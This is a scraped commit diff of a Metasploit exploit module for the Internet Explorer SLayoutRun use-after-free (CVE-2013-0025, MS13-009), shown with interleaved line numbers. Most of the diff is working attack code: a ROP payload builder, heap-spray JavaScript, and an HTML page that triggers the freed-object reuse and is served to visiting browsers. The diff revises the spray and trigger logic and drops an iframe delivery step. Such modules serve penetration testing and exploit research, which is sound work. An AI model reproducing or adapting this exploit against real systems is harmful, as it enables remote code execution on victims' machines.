8
8
require 'msf/core'
9
9
10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
- Rank = AverageRanking
11
+ Rank = NormalRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
14
include Msf ::Exploit ::RopDb
15
15
16
-
17
16
def initialize ( info = { } )
18
17
super ( update_info ( info ,
19
18
'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free" ,
@@ -25,20 +24,20 @@ def initialize(info={})
25
24
'License' => MSF_LICENSE ,
26
25
'Author' =>
27
26
[
28
- 'Scott Bell <[email protected] >' , # Vulnerability discovery & Metasploit module
27
+ 'Scott Bell <[email protected] >' # Vulnerability discovery & Metasploit module
29
28
] ,
30
29
'References' =>
31
30
[
32
31
[ 'CVE' , '2013-0025' ] ,
33
32
[ 'MSB' , 'MS13-009' ] ,
34
- [ 'URL' , 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ] ,
33
+ [ 'URL' , 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
35
34
] ,
36
35
'Payload' =>
37
36
{
38
- 'BadChars' => "\x00 " ,
39
- 'Space' => 1024 ,
40
- 'DisableNops' => true ,
41
- 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " ,
37
+ 'BadChars' => "\x00 " ,
38
+ 'Space' => 920 ,
39
+ 'DisableNops' => true ,
40
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
42
41
} ,
43
42
'DefaultOptions' =>
44
43
{
@@ -137,44 +136,34 @@ def get_payload(t, cli)
137
136
rop_payload << [ 0x77c39f92 ] . pack ( "V" ) # RETN
138
137
rop_payload << [ 0x0c0c0c8c ] . pack ( "V" ) # Shellcode offset
139
138
rop_payload << code
140
-
141
139
end
142
140
143
141
return rop_payload
144
142
end
145
143
146
- def this_resource
147
- r = get_resource
148
- return ( r == '/' ) ? '' : r
149
- end
150
-
151
144
def get_exploit ( my_target , cli )
152
145
p = get_payload ( my_target , cli )
153
146
js = heap_spray ( my_target , p )
154
147
155
-
156
148
html = %Q|
157
149
<!doctype html>
158
150
<html>
159
151
<head>
160
152
<script>
161
- var data
162
- var objArray = new Array(1800);
163
153
#{ js }
154
+ </script>
155
+ <script>
156
+ var data;
157
+ var objArray = new Array(1150);
164
158
165
159
setTimeout(function(){
166
- for (var i=0;i<objArray.length;i++){
167
- objArray[i] = document.createElement('body');
168
- document.body.appendChild(objArray[i])
169
- objArray[i].style.display = "none"
170
- }
160
+ document.body.style.whiteSpace = "pre-line";
171
161
172
- document.body.style.whiteSpace = "pre-line"
162
+ CollectGarbage();
173
163
174
- for(var i=0;i<10;i++){
175
- for (var i=0;i<(objArray.length-650);i++){
176
- objArray[i].className = data += unescape("%u0c0c%u0c0c");
177
- }
164
+ for (var i=0;i<1150;i++){
165
+ objArray[i] = document.createElement('div');
166
+ objArray[i].className = data += unescape("%u0c0c%u0c0c");
178
167
}
179
168
180
169
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
@@ -192,19 +181,6 @@ def get_exploit(my_target, cli)
192
181
end
193
182
194
183
195
- def get_iframe
196
- html = %Q|
197
- <html>
198
- <body>
199
- <iframe src="#{ this_resource } /#{ @iframe_name } " height="1" width="1"></iframe>
200
- </body>
201
- </html>
202
- |
203
-
204
- return html
205
- end
206
-
207
-
208
184
def on_request_uri ( cli , request )
209
185
agent = request . headers [ 'User-Agent' ]
210
186
uri = request . uri
@@ -218,21 +194,12 @@ def on_request_uri(cli, request)
218
194
return
219
195
end
220
196
221
- if uri =~ /#{ @iframe_name } /
222
- html = get_exploit ( my_target , cli )
223
- html = html . gsub ( /^\t \t / , '' )
224
- print_status ( "Sending HTML..." )
225
- else
226
- html = get_iframe
227
- print_status "Sending IFRAME..."
228
- end
229
- send_response ( cli , html , { 'Content-Type' => 'text/html' } )
230
-
197
+ html = get_exploit ( my_target , cli )
198
+ html = html . gsub ( /^\t \t / , '' )
199
+ print_status "Sending HTML..."
200
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
231
201
232
202
end
233
203
234
- def exploit
235
- @iframe_name = "#{ Rex ::Text . rand_text_alpha ( 5 ) } .html"
236
- super
237
- end
238
204
end
205
+
0 commit comments